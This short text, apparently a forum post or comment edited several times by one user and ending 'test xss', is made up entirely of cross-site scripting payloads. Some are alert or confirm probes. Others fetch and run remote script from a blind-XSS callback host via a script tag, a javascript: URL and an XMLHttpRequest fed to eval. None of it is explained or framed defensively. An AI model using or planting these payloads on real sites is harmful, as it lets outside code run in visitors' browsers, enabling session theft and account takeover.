Editado por FelipeBarso
<object onbeforescriptexecute=confirm(0)>

Editado por FelipeBarso
<IMG DYNSRC='javascript:alert(1)'>

><script src=//yoursubdomain.xss.ht></script>

javascript:eval('var a=document.createElement(\'script\');a.src=\'https://yoursubdomain.xss.ht\';document.body.appendChild(a)')

<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//yoursubdomain.xss.ht");a.send();</script>

Editado por FelipeBarso
<img src='1' onerror=alert(0)/>

test xss